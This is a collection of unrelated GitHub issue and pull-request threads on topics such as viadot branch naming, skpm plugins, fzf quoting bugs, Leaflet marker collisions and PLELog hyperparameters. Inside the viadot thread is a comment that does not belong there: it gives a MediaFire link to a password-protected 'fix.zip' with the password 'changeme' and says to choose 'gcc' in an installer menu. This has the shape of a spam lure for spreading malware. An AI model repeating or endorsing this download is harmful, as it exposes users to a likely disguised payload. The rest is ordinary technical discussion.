Repository branch reorganisation

Context
After merging 2.0-new-repository-structure to 2.0, we have slightly more stable situation on viadot repository.
After migration to prefect v2 everywhere (Velux/Lapp), we should consider another change:

branch main should become 1.0 - only for archive purpose
branch 2.0 should become main - I'm not writing "merged", as I don't think it should be done that way, main and 2.0 are totally separate projects and shouldn't be mixed

It's topic to be discussed once migration topics will be done - probably in October 2024.
Impact

some CI/CD workflows probably need to be updated
branch protection rules/rulesets
users - just communication, or any actions on their side?
update references to main/2.0 in docs (make branch explicit wherever possible)

@k-wolski I think what you mean reg point 2) is that it should become the default branch

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@k-wolski I think what you mean reg point 2) is that it should become the default branch

With this approach main can stay as default branch all the time, or we can change approach here and get rid of main in favour of 1.0/2.0 and 3.0 in the future. It's open topic for me.

For me it's either

change 2.0 to be the default branch or
raname main to 1.0 and 2.0 to main.

For me it's either

change 2.0 to be the default branch or
raname main to 1.0 and 2.0 to main (main remains the default branch, but it will be what is now the 2.0 branch 😄)

@marcinpurtak

For me the approach with viadot = branch 1.0  , viadot2 = branch 2.0 is more readible.


[HackADoc] Changed windowsazure -> azure in storage docs

This changes all //www.windowsazure.com/* links to //azure.msdn.com. It also changes the msdn library scope from library/windowsazure to library/azure (preventing the redirect).
All absolute links were validated that they weren't 404s.

Nice job on converting the msdn links to point to the right chrome!


How about SKPM plugins list?

skpm is a w e s o m e.

Also, for developers it will be great place to find eachothers )

Thanks!
Do you mean https://www.sketchapp.com/extensions/plugins/ ?

Yeah, like that or like a list on github, but only JS-plugins with skpm (maybe with react/any framework).

Can I ask some questions here? I don't like chats, pls.
I see you are in list Bohemian team, so..

Is the skpm an official tool for Sketch with endless support?

Nowtime I feel changes in Force... Master Katarn... That feels looks like a TREND to transition all plugin system from Objective-C to holy Javascript.  Am I right?  So.. if that true — why didn't you create SKPM before Sketch?

Really? Only 4 people creates Sketchapp? Really??

Do you have an communications and teamwork with airbnb? react-sketchapp is awesome, but contains more React Native things than just React... Also its sooo big for my purpose.

I just wanna change colors and text/positions in already drawn sketch-file, not to create new page by js code like react-sketchapp. One time I found CSSketch, whit was perfect for me! Colors changes In REALTIME! But.... it just was........
New versions of Sketch just broke that plugin, and author don't doing on that.
No more updates... But I need it.
Can you tell me. Is that easy to just create plugin which — Realtime Updates Sketch-file layers style with CSS / SASS / LESS / SCSS? I just scan CSSketch source code in Objective C and ... this is unacceptable to me. I think my desire can be realized more faster with skpm. Or not?

I'm hoping that Github will soon be able to list the repo that depends on @skpm/builder here: https://github.com/skpm/skpm/network/dependents so it will be easier to check who uses it (it doesn't work with scoped packages for now).

Yes skpm is now the go-to tool to create plugin and I'll maintain it. We do want to push people to use JS instead of Obj-C since it's a lot safer and can be inspected in a more easier way.

why didn't you create SKPM before Sketch?

I did create skpm before joining sketch. Not sure what you are asking.

No we are about 25

Yes I'm talking with some people at airbnb and I'm also contributing a bit to react-sketchapp but only in my spare time, it is not my "official" job.

it's not "easy" to create such a plugin but it is def possible


Snapshot Testing

This adds a new method for testing an expected View tree against the built output.
Here's an example of a test:
https://github.com/liveviewnative/liveview-client-swiftui/blob/2cb9ddbb7b1ff919ad969ecbc4eb0e3a419f8d08/Tests/RenderingTests/TextTests.swift#L14-L18
You provide the markup and an expected View, and it generates snapshots and compares them. If the snapshots match the test will pass, otherwise it will save the images for the developer to compare.

I hope this is more resilient than some image comparison because it doesn't save any snapshots, they are generated from conceptually identical SwiftUI hierarchies if the test is successful.


What happens to existing users when we re-deploy?

Just tested re-deploying whilst polling for a report. The polling process simply restarted, and so the only impact to the user is a longer wait (but a good message telling them about how long they have been waiting)


This whole section needs to specify when to use LogicalCollectionName and LogicalName

Throughout this section of docs there are references to 'Table Name'. These references need to be more specific to either LogicalCollectionName or LogicalName. Without this explicit reference, I was running in circles trying to figure out what I was doing wrong.
I found that any reference to permissions or enabling the WebApi in Site settings, LogicalName is used. However, when actually querying the api, the endpoint uses LogicalCollectionName. It's subtle in the docs, but using the contacts table as an example: 'contact' is used for permissions, and 'contacts' is the webapi endpoint.
Full Example:

Site Settings:

Webapi/contact/enabled
Webapi/contact/fields

Table permissions uses 'contact' as the table name.
Api endpoint: /_api/contacts

Here is a Powershell script I wrote to get these names from entities using the Dataverse API:
Connect-AzAccount;
$Org = "MyOrg";
$Resource =  "https://$($Org).crm.dynamics.com/";
$ApiUri =  "https://$($Org).crm.dynamics.com/api/data/v9.0";
$token = Get-AzAccessToken -Resource $Resource;
$headers = @{"Authorization" = "bearer $($token.Token)";};
$EntitiesData = Invoke-RestMethod -Method Get -Headers $headers -Uri "$ApiUri/EntityDefinitions";
$Entities = $EntitiesData.value;
$Entities | Where-Object {$_.LogicalName -like 'contact*'} | Select-Object -Property LogicalName,LogicalCollectionName

Users can also use the UI:

Navigate to the table in Dataverse
Dropdown 'Tools'
Select

'Copy Set Name', this is your LogicalCollectionName
'Copy Logical Name', this is your LogicalName

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: bc6bd0a4-3034-2d8b-4b92-2f1404042d27
Version Independent ID: 4816c6b6-9a69-c0fd-799a-6c7eaa19fb5d
Content: Overview of portals Web API - Power Apps
Content Source: powerapps-docs/maker/portals/web-api-overview.md
Service: powerapps
Sub-service: portals
GitHub Login: @neerajnandwana-msft
Microsoft Alias: nenandw

@jsh121988 If you have the DV org already loaded in a browser, https://.crm.dynamics.com/.  You can also use the existing authentication to query WebAPI info: https://.crm.dynamics.com/api/data/v9.0/EntityDefinitions(LogicalName='contact')?$select=LogicalCollectionName,LogicalName

@RedsGT That's cool, but it doesn't address the documentation issue about when to use which name of an entity.

Thank you for your feedback. We have updated the topic to provide this information. https://docs.microsoft.com/en-us/power-apps/maker/portals/web-api-overview#using-entitysetname

Thanks for adding this. I think there should be a sentence saying that this is for accessing the API endpoint, but you use logical name for permissions and settings

Noted, updated. Thank you!


feat: add ua locale

resolves #44

Awesome @Spring3. Thank you so much!

@maccyber it was a pleasure. Was fun to read the 5 factors as well. Some matched my personality and it was like I was reading my own description

Haha, that's good to hear :-)
Deployed to prod at https://bigfive-test.com/ua


DealabsBridge: request for discussions

DealabsBridge handles searchs based on keywords and on groups. It would be wonderful, fantastic and extraordinary (!!) if it could also handle discussions, or even better to be able to grab URL from discussions.
Example: https://www.dealabs.com/discussions/astuces-amazon-codes-promo-coupons-et-ventes-flash-1068413
Thank you!

Ping @sysadminstory as maintainer of this bridge

Oh ! Nice to hear I'm not the only user of this bridge :D
Can you explain what do you want this feature to do ? Do you want to follow a discussion for new comments ? Something else ?

Sure, we are two now :)
I have two goals depending on the discussion thread:

either to get new comments as you wrote;
or to get only the new comments which have a URL. Typically, as in my
former example, those comments hold links toward deals on Amazon which
offer both a flash deal plus a coupon, making some excellent prices.

Le 03/12/2021 à 22:04, sysadminstory a écrit :

Oh ! Nice to hear I'm not the only user of this bridge :D
Can you explain what do you want this feature to do ? Do you want to
follow a discussion for new comments ? Something else ?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/RSS-Bridge/rss-bridge/issues/2354#issuecomment-985826610,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANZVSQTDR6SKYUFOGCYA63UPEWFFANCNFSM5JJEWI5A.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

If I did understand you right.
You would like get a RSS feed where you enter the URL (or part of) the discussion thread URL and a filter to ;

get every new comment posted as a new RSS item
or get every new comment posted containing an URL as a new RSS item

Did I understand you right ?

Yes, 150% correct!
Le 07/12/2021 à 23:57, sysadminstory a écrit :

If I did understand you right.
You would like get a RSS feed where you enter the URL (or part of) the
discussion thread URL and a filter to ;

get every new comment posted as a new RSS item
or get every new comment posted containing an URL as a new RSS item

Did I understand you right ?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/RSS-Bridge/rss-bridge/issues/2354#issuecomment-988321228,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANZVSQLPXBLVMSTQKWHIBDUP2GL3ANCNFSM5JJEWI5A.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

That's super cool. Do you think it's testable right now? Or having
multiple people accessing the website with the same cookies may lead to
bad thing like ban ?
Le 16/12/2021 à 16:52, sysadminstory a écrit :

I have done an initial dirty version for Dealabs, but it contains
hardcoded Cookies, and some very ugly long string that needs to be
passed to the website.
I must check if the hardcoded cookies continue to be accepted, tidy
the code, add the feed title, and find some way to get a date for the
comment.
—
Reply to this email directly, view it on GitHub
https://github.com/RSS-Bridge/rss-bridge/issues/2354#issuecomment-995945033,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AANZVSSEZVYPPKQXZHBT73TURIDLTANCNFSM5JJEWI5A.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you authored the thread.Message ID:
@.***>

Those are session cookies.
I tried to fake a session identifier, and it does not work.
I created a function to get cookies : this seems to work. I must make it compliant with the rss-bridge proxy parameters.
The next step is to tidy all those function and make it reusable for other pepper websites !

I managed to get something working. I opened the pull request #2383 to merge it here !
If you want to test it before it's merged in this repository, you can get the files in this branch on my repository :
https://github.com/sysadminstory/rss-bridge/tree/pepperbridge-fix-and-threads

Super cool. Thank a lot a lot a lot ...


REQUEST: New approver status for @daixiang0 dapr/components-contrib

GitHub Username
@daixiang0
Nominations by existing maintainers:
@artursouza
Requirements

[x] I have reviewed the community membership guidelines (https://github.com/dapr/community/blob/master/community-membership.md)
[x] I have enabled 2FA on my GitHub account. See https://github.com/settings/security
[x] I have subscribed to the Dapr community Discord server
[x] I am contributing (any of the following apply: issues, discussions, PRs, reviews) to 1 or more Dapr repositories

List of contributions to the Dapr project

PRs authored:
https://github.com/dapr/components-contrib/pull/1147
https://github.com/dapr/components-contrib/pull/1102
https://github.com/dapr/components-contrib/pull/1045
https://github.com/dapr/components-contrib/pull/995
https://github.com/dapr/components-contrib/pull/993
https://github.com/dapr/components-contrib/pull/985
https://github.com/dapr/components-contrib/pull/944
https://github.com/dapr/components-contrib/pull/906
https://github.com/dapr/components-contrib/pull/905

PRs reviewed:
https://github.com/dapr/components-contrib/pull/1116
https://github.com/dapr/components-contrib/pull/1112
https://github.com/dapr/components-contrib/pull/1025

Issues responded to
https://github.com/dapr/components-contrib/issues/1010
https://github.com/dapr/components-contrib/issues/994
https://github.com/dapr/components-contrib/issues/979
https://github.com/dapr/components-contrib/issues/978

I support this request. @artursouza please confirm your support.

I support this request.

Approved. @daixiang0 you have been added to the approvers group in dapr/components-contrib. Welcome.


Allow custom model config

https://github.com/collerek/ormar/issues/285
The approach I took is to use a mixin.

Codecov Report

Merging #286 (3528d6e) into master (9bf2bdf) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##            master      #286    +/-   ##
==========================================
  Coverage   100.00%   100.00%
==========================================
  Files          167       167
  Lines        14214     13851   -363
==========================================
- Hits         14214     13851   -363

Impacted Files
Coverage Δ

ormar/models/metaclass.py
100.00% <100.00%> (ø)

...d_pydantic_generation/test_inheritance_concrete.py
100.00% <100.00%> (ø)

tests/test_types.py
100.00% <0.00%> (ø)

ormar/queryset/clause.py
100.00% <0.00%> (ø)

ormar/models/excludable.py
100.00% <0.00%> (ø)

ormar/fields/foreign_key.py
100.00% <0.00%> (ø)

tests/test_signals/test_signals.py
100.00% <0.00%> (ø)

tests/test_queries/test_order_by.py
100.00% <0.00%> (ø)

tests/test_queries/test_or_filters.py
100.00% <0.00%> (ø)

tests/test_queries/test_pagination.py
100.00% <0.00%> (ø)

... and 81 more

Thanks for the PR! :)

This did fail the mypy tests.  I'm not familiar with mypy.


Countdown runs for longer than 25 minutes

This happens when a user is not active on the tab. If the user stays on the tab for the full duration of the countdown, it works fine.

This example https://embed.plnkr.co/W3jfbb/ shows that using Worker, a reliable timer could be implemented. This could be used as a heartbeat mechanism for useClockable hook.

A Worker could become a reliable heartbeat needed for the countdown. In order to not keep it running when the Pomodoro is paused, it needs to respond start/stop. By now the worker already has all the building blocks needed for countdown logic, it is possible to shift the entire clock mechanism from useClockable hook to the worker.


Problem with transform-query when testing the upcoming version 0.36.0

[x] I have read through the manual page (man fzf)
[x] I have the latest version of fzf
[x] I have searched through the existing issues

Info

OS

[x] Mac OS X

Shell

[x] zsh

Version

latest GIT version  6c37177cf5ce24dc4664ea32a6764987fb631f15

Feedback from testing upcoming 0.36.0 version
transform-query action
I can't get the transform-query(...) action to work, tried all of your examples from the CHANGELOG without success.
example 1
# Press space to convert the query to uppercase letters
fzf --bind 'space:transform-query(tr [:lower:] [:upper:] <<< {q})'

the query string gets deleted when pressing space

https://user-images.githubusercontent.com/92653266/210028797-82165dac-a825-4838-8c02-36afa2e671cc.mp4
example 2
# Bind it to 'change' event for automatic conversion
fzf --bind 'change:transform-query(tr [:lower:] [:upper:] <<< {q})'

nothing happens

https://user-images.githubusercontent.com/92653266/210028767-296743ca-4b07-4175-8a2b-c5f0e96ef8fd.mp4
example 3
# Can only type numbers
fzf --bind 'change:transform-query(sed 's/[^0-9]//g' <<< {q})'

nothing happens

https://user-images.githubusercontent.com/92653266/210028900-647484e4-187b-4ddc-ac16-6acaa0749408.mp4
load event
If I would have a reload hotkey, the string for changing the prompt  to   "⏰ Loading >"  would need to be added twice.
gh issue list -L 100 | bin/fzf --prompt '⏰ Loading >' --bind 'ctrl-r:change-prompt(⏰ Loading >)+reload:gh issue list -L 100 -R cli/cli' --bind 'load:change-prompt:👻 > '

https://user-images.githubusercontent.com/92653266/210029512-390e81ba-323f-4a21-b4bc-3a1fff1fe317.mp4
Wouldn't it be better to also have a loading event?
gh issue list -L 100 | bin/fzf --bind 'ctrl-r:reload:gh issue list -L 100 -R cli/cli' --bind 'loading:change-prompt:⏰ Loading >' --bind 'load:change-prompt:👻 >'

PS

the other actions ( pos(...), reload-sync(...), next-selected, prev-selected) did work nicely
thanks for adding the color name preview-label #3053

should I close the ticket since the other feature of the ticket is not planned?

fzf --bind 'space:transform-query(tr [:lower:] [:upper:] <<< {q})'

It works for me fine. Does $SHELL -c "tr [:lower:] [:upper:] <<< 'hello'" work as expected on your shell?

$SHELL -c "tr [:lower:] [:upper:] <<< 'hello'"
# zsh:1: no matches found: [:lower:]

$SHELL -c "tr "e" "a" <<< 'hello'"
# hallo

Ok, i got it, it was the use of single quotes.
# this will work
bin/fzf --bind 'change:transform-query(sed "s/[^0-9]//g" <<< {q})'

# this will not work
bin/fzf --bind 'change:transform-query(sed 's/[^0-9]//g' <<< {q})'

everything else in this ticket was just feedback, can be closed

it was because of the quotes.

$ zsh -c 'tr [:lower:] [:upper:] <<< foo'
zsh:1: no matches found: [:lower:]
$ bash -c 'tr [:lower:] [:upper:] <<< foo'
FOO

I wasn't aware of it as I'm a bash user. I'm going to update the examples not to confuse zsh users.

bin/fzf --bind 'change:transform-query(sed "s/[^0-9]//g" <<< {q})'

Let me fix this as well.

Wouldn't it be better to also have a loading event?

Maybe, but I'd prefer not to include non-essential shortcut features at this time.

should I close the ticket since the other feature of the ticket is not planned?

Doesn't matter. Up to you. Maybe I decide to implement dynamic labels in the future.


when the icon exceeds 100 px, markers still collide

How to reproduce

Leaflet version I'm using: 1.1.1

Leaflet.MarkerCluster version I'm using: 1.3.0

Browser (with version) I'm using: Chrome

step 1
Create a divicon object

var icon1 = L.divIcon({
                        className: 'my-div-icon',
                        html: ''+
                              '
'+data[i].name+'
'+
                              '
Eat-all-you-can-buffet @ P299
'
                    })

step 2
Create the marker object

var icon1 = L.divIcon({
                        className: 'my-div-icon',
                        html: ''+
                              '
'+data[i].name+'
'+
                              '
Eat-all-you-can-buffet @ P299
'
                    })

step 2
add the markerclustergroup to map
 markerClusterGroup.addLayer(label2);

What behaviour I'm expecting and which behaviour I'm seeing
There should be no collision. Here, we set the marker icon to have a width of 150 px and height of 150 px. Here we should see that the 2 markers should not show at the same time because they overlap each other.
Not working with 150px by 150px

https://github.com/Leaflet/Leaflet.markercluster#all-options
You need to use some of these


urlPrefix disappear in s3 storage option？

Describe the bug
urlPrefix disappear in s3 storage option？ It showed in previous version S3 options
Steps to reproduce
just check the s3 storage system
The version of Memos you're using
Version: v0.22.0
Screenshots or additional context
No response

Yes, it did disappear in my environment too. I will research on this.

well , 0.21 it is shown ,by latest disappear

Removed by this commit: https://github.com/usememos/memos/commit/320963098f7a1ce76a9e493aede078b560f0ea33
The reason for the removal of this feature is described in the v0.22.0 release notes:

S3 Storage related resources will be using pre-signed url and supports synchronized deletion.

And link to original author's message:
https://github.com/usememos/memos/issues/3403#issuecomment-2119466204

We will use presigned urls to provide more secure links. It is recommended to use an S3 API-compatible object store such as cloudflare R2.


convert source to string explicitly

otherwise jruby will recognize it as Addrinfo

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Zhizheng Wang seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


XAudio 2.7 Only uses FrontLeft and FrontRight channels

I've stepped into all of my SetOutputMatrix calls and all the info coming back from Calculate looks good.  The matrix values look ok.  I just don't get any audio from center, sub, or rear pair.  This is with a 5.1 speaker set.
Really everything in SharpDX looks correct that I can see.  DestinationChannel count is 6.  Has anyone managed to get 5.1 audio out of 2.7?

Ooops, I forgot about the masteringvoice.  Setting that to 6 channels works.  (this used to work without that though)


Add ACR metrics to supported metrics overview

Add ACR metrics to supported metrics overview

@tomkerkhove : Thanks for your contribution! The author, @anirudhcavale, has been notified to review your proposed change.

@tomkerkhove : Thanks for your contribution! The author, @anirudhcavale, has been notified to review your proposed change.

Can you add OS type as RunDuration's dimension?

I can, what is the value for it? Or is OS type the query parameter as well?
For what it's worth when I check in the Azure portal it's not there:

The dimension name should be BuildOsType. Storage has Metrics SuccessE2ELatency with dimensions “GeoType”, “ApiName” and “Authentication”. But those dimensions are not available in portal. So I guess we need to be consistent with storage here.

@tomkerkhove : Thanks for your contribution! The author, @anirudhcavale, has been notified to review your proposed change.

Perfect, docs adapted - Thanks for letting me know @msyihchen

@tomkerkhove  Thanks for updating and contributing!

<EMAIL_ADDRESS>SuccessE2E latency from Storage does have those dimensions and they appear in the portal. I think Tom was saying the OSBuild Type is not showing in the portal for ACR.
<EMAIL_ADDRESS>From: Yihuang Chen<EMAIL_ADDRESS>Sent: Wednesday, March 27, 2019 12:03 PM
To: MicrosoftDocs/azure-docs<EMAIL_ADDRESS>Cc: Anirudh Cavale<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [MicrosoftDocs/azure-docs] Add ACR metrics to supported metrics overview (#27991)
The dimension name should be BuildOsType. Storage has Metrics SuccessE2ELatency with dimensions “GeoType”, “ApiName” and “Authentication”. But those dimensions are not available in portal. So I guess we need to be consistent with storage here.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2Fazure-docs%2Fpull%2F27991%23issuecomment-477305585&data=02|01|ancav%40microsoft.com|2a85080d2f0d4b16756208d6b2e6cc32|72f988bf86f141af91ab2d7cd011db47|1|0|636893101674618623&sdata=lxsggMimtHLxSWM4ZFTfXtnx3J06K3JQcgQ8F9zRnEE%3D&reserved=0, or mute the threadhttps://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAZYAIuNMDWOSkOq9JcIdrI_K0rtk72Ceks5va8BVgaJpZM4cKg7D&data=02|01|ancav%40microsoft.com|2a85080d2f0d4b16756208d6b2e6cc32|72f988bf86f141af91ab2d7cd011db47|1|0|636893101674618623&sdata=pTwnFZqm6gpwgDDRMY5SiUBOmWnCfyQCYx0R5%2Br6PdY%3D&reserved=0.

Oh I see. We need to select a metric first and then add a filter. Dimension is part of filter. @tomkerkhove  Sorry I told you the wrong thing. Storage does have those dimensions in portal but we don't. Can you revert the last commit?

@tomkerkhove : Thanks for your contribution! The author, @anirudhcavale, has been notified to review your proposed change.

Ping @anirudhcavale

#please-close the ACR metrics have been added.


Margin directive doesn't work on button component

Similar to: https://github.com/Legal-and-General/canopy/issues/171
The margin/padding classes get applied to the host element not the button element so the directive cannot be used to override the default margins.
<lg-button class"lg-margin-bottom--none">
   <button>My Button</button>
 </lg-button>

This could have been a conscious decision to keep things consistent. Not sure? Seems like the directive should be able to override this though.
As mentioned in the other ticket, we could add CSS to inherit these styles as a potential solution

@paul-request I think it's because you are using the button component wrong 🤔 It's supposed to be:
<button lg-button variant="...">my button</button>

@paul-request I think it's because you are using the button component wrong 🤔 It's supposed to be:
<button lg-button variant="...">my button</button>

Ah, sorry, that is just kinda pseudo code. Let me check again, I will close if that's the case

My mistake, implementation was incorrect.


Rename to haskell-language-server

Voting at time of migration was 42 for this name, next closest was 6.
Closes #29

ping @ndmitchell @cocreature (and all other interested parties)
Are you guys ok with this?  If we decide to do it, I would rather do it sooner than later, as you know, renaming things gets harder the longer it has been out there.


⚠ Bofrost.de has degraded performance

In 1969cfc, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 2009 ms

Resolved: Bofrost.de performance has improved in 1cee9c6 after 27 minutes.


How to select hyperparameter

Hi Dr @YangLin-George ,
Sorry for bothering you again.
In the paper, you tested PLELog with different PLELog configurations (the number of ICA components, the number of GRU layers, and the size of GRU layers). I also tried them with min cluster size = 100  and min samples = 100, and I also saw the stable result as the paper.
But I think  min cluster size, min samples, window size, and window step are also very important hyperparameters.
Note: window step I mentioned is line 562 in BGLLoader.py
i += self.window_size
Here,  window step = window size
I tried on the BGL dataset. For min cluster size, min samples, I tried them with 10, 50, 100, and 200, and the results of PLELog are not stable. Especially when I set window size smaller and used window step = 10, the results differ significantly between sets of hyperparameters (some are very good, and some are very bad). I noticed that the cluster performance of HDBSCAN is stable with different  min cluster size, min samples, window size, and window step.
Note: in fact, I would like to try with window step=1 because I think in the real system, we would like to detect after receiving a new log message.
Do you have any idea to select the hyperparameters I mentioned?
Thank you so much

Hi @tunglambk ,
The bottom line is that we are dealing with a log sequence anomaly detection problem. Ideally, the way of constructing log sequences should be guided by certain ids, such as session_id(OpenStack) and block_id(HDFS). The sliding window and fixed window are designed to solve the problem that there is no clear sign for log sequence construction. Therefore, there is no certain standard or strategy to decide which one is better. It is your choice.
There is a research paper that studied the impact of the grouping method in log data, you may find more discussions in it.
Ref: Van-Hoang Le and Hongyu Zhang. 2022. Log-based anomaly detection with deep learning: how far are we? In Proceedings of the 44th International Conference on Software Engineering (ICSE '22). Association for Computing Machinery, New York, NY, USA, 1356–1367. https://doi.org/10.1145/3510003.3510155
Thanks again for your attention. I hope this will help you, and if anything, please let me know.

Hi Dr @YangLin-George ,
Thank you for proposing the paper. Have a nice day.

Hi Dr @YangLin-George ,
I still have some questions after reading the paper, so I reopen this ticket again.

From the paper and my experiment, the session window is the best grouping method. However, in online prediction, the logs arrive one by one, so I cannot have a complete group of logs. How I should handle this case? Should I wait until receiving a group of logs with "enough" log messages of a session (such as waiting until a session has 20 log messages) and start to predict the session? Because you applied PLELog to two large-scale real-world distributed online systems so I would like to have your suggestion.

Do you have any idea about selecting  min cluster size, min samples of HDBSCAN?

Thank you so much.

Thanks for asking! My opinions are:

Both are acceptable, depending on the data you are dealing with. Detecting anomalies in real-time is challenging. You will be alarmed as soon as possible, but it is more likely to produce false alarms or duplicated alarms. Some research also calls this "Early stage anomaly detection." Analyzing the complete sequence may provide some more information which may help incident recovery, but it is relatively slow and not easy to obtain. In our experiment, we used the second way of analyzing complete logs since we were dealing with historical data and the systems are providing the business-end services.

To balance the time cost, the number of classes, and the number of log sequences in the -1 class (which are classified as outliers).

Thank you so much for the suggestion, Dr @YangLin-George .


[Website] Apply fixed table layout to schema tables

Related Issue
Closes #7014
Description
Applies the table-layout:fixed styling to the schema tables on the website. This makes the table fully visible, which forces the "aka.ms/ACTextFeatures" link visible when the page is very zoomed in.
How Verified
Followed the repro steps:

Navigate to 'Schema Explorer' link through tab key under the header controls and activate it.
Navigate to the 'TextBlock' in the left side through tab key and activate it.
Navigate to the 'https://aka.ms/ACTextFeatures' link through tab key.
Verify that on resizing the page to 200% link "https://aka.ms/ACTextFeatures" is not getting cropped

Microsoft Reviewers: Open in CodeFlow

I've reached out to the accessibility team and am pushing back on it. I'm keeping this open for now until that gets resolved.

We didn't hear back from the accessibility team regarding our concerns.


A/B Test Example

Take the models trained in https://github.com/PaddlePaddle/Serving/issues/217, and deploy two of the models as A/B test.

#320


two digit years

Years like '79', to be interpreted as 1979, are not handled correctly.
?- form_time(79-03-15,D).
D = datetime(-650014, _2817026),
_2817026 in 0..86399999999999.
I'm not sure what the fix is.
In some theoretical sense, we could have  y2k(40) that would constrain us to interpret years between 40 and 99 as 1940..1999 and years 0..39 as 2000..2039
But obviously I'm here because I naively passed a year in. It'd be nice behavior if form_time just 'did the right thing' - if some y2k constraint was a default. And then we have to have some explicit dont_fix_y2k so the poor soul recording Roman history has a workaround.
But then we have a set of soft constraints

If the year is outside the y2k range, take it as is
If the user supplied a y2k range, use that
otherwise, if the user said dont_fix_y2k, treat as is
otherwise, use the default y2k range

And then there's the mess of asking what it means to have dates before the Gregorian epoch.
As far as implementation, that's also ugly, as everything's a constraint, not a production. Maybe the form Y-M-D could accept Y as yr(79)  and do some mapping? or instead of my y2k constraint, have  y2k(79,40)-M-D   ?
That's ugly but works.  No real elegant solution.

I guess a more constraints way is to make 79 map to  Y #= N * 100 + 79
Julien has poor separation of parsing and representation concerns from true time arithmetic concerns (to be charitable, it was only intended to handle the latter).


[WIP] Make Travis Great Again (Master Edition)

Working on improving the speed and accuracy of Travis's testing.

I actually expected the NO_ALPN test to fail; oh well, next up is trying to get that test to run without updated openssl, which likely will fail a lot more easily.

Aborted OS X build because it's going to be a very long time before it gets run, due to a large backlog of OS X jobs.

I broke the build and it still passed...

Once the OS X build finishes (probably tomorrow), I think this'll no longer be a WIP.

I removed 3.5 minutes from OS X build times, just based on time spent dealing with Homebrew

This is now ready for merge.

I'm going to make a test for ALPN being functional/non-functional.


Implemented the landing page for the application and Removed the UI overflow

I have Implemented the landing page for the issue number #124.
Please review.

I have also resolved issue #129 and eliminated the UI overflow on nearly all pages. Previously, there was UI overflow in landscape view for every popup and on many pages.

I have removed the overflow and made the UI more responsive.
https://github.com/VaibhavCodeClub/learn/assets/99753046/30ed6d05-c48e-4309-84b9-06c5fb855608

@sapatevaibhav Please review the changes and let me know if you would like to make any adjustments.

Fix conflicts and mention me I'll merge it ASAP. @a-m-a-nkumar

@sapatevaibhav I have fixed the conflicts.

@sapatevaibhav I have fixed the conflicts.

@sapatevaibhav Please assign the Level tag and GSSOC tag to the pull request and related issue.


URL normalization util misses spaces encoded as %20

Before you open an issue:

[x] I have the latest version. (Check: ddgs version. Update: pip install -U duckduckgo_search)
[x] I tried reinstalling the library. (pip install -I duckduckgo_search)
[x] https://duckduckgo.com is accessible in my browser
[ ] I tried using a proxy (the site may block ip for a while)

This is about a library utility function, not a problem talking to DDG, so I have skipped the proxy step as the bug isn't related to DDG blocking me.
Describe the bug
In the _normalize_url function, it is possible for raw spaces to slip through:
https://github.com/deedy5/duckduckgo_search/blob/5c0e9ec05b39afb40419279611efe71c5c89e8b6/duckduckgo_search/utils.py#L74-L76
Bare spaces are replaced with + before unquoting the input, meaning spaces that are already encoded as %20 don't become +.
Steps to reproduce the problem:
Normalize a URL containing %20 escapes, e.g. utils._normalize_url('https://www.google.com/?q=bug%20here') (returns https://www.google.com/?q=bug here, rather than https://www.google.com/?q=bug+here)
Specify this information

OS: Linux (various Debian-derivs
environment: tested python 3.10, 3.11, 3.12
duckduckgo_search version: 6.2.10

Thanks!
Fixed in v6.2.11

Updated to the new release and tested a few queries that previously exhibited this bug; they now use + as expected.
Thanks for the quick fix!


Question - Creating a Related Model and Establishing Relationship

Hello,
I'm currently working on a project and I'm trying to figure out the best way to create a related model and establish its relationship with an existing model in a single request. Specifically, I want to create a new CartLine that belongs to a Cart.
Here are the key questions I have:

How do you create a related model (e.g., CartLine) and associate it with an existing model (e.g., Cart) in a single request?

What is the recommended endpoint to use for this operation? Should it be /carts/{id}/cart-lines or /cart-lines?

Could you provide an example of how the request body should be structured for this operation?

Any guidance or examples you can provide would be greatly appreciated. Thank you in advance for your assistance!
Thanks in advance!
Matthias

Hi. I'd recommend you do the tutorial, because the tutorial covers this topic.
https://laraveljsonapi.io/docs/3.0/tutorial/

Use the relationships member of the CartLine to associate it to a Cart.
For this scenario /cart-lines will work...
If you use the following:

{
  "data": {
    "type": "cart-lines",
    "attributes": {
      "foo": "bar"
    },
    "relationships": {
      "cart": {
        "data": {
          "type": "carts",
          "id": "456"
        }
      }
    }
  }
}

This should give you enough to go on. The tutorial is there and I'd recommend it as it introduces you to the JSON:API spec (which is what your questions are about) as well as this package.
Also, you might find joining the Slack community a better place to ask questions.

Closing as I think this has been answered.


use modified d3.zip to avoid additional traversal

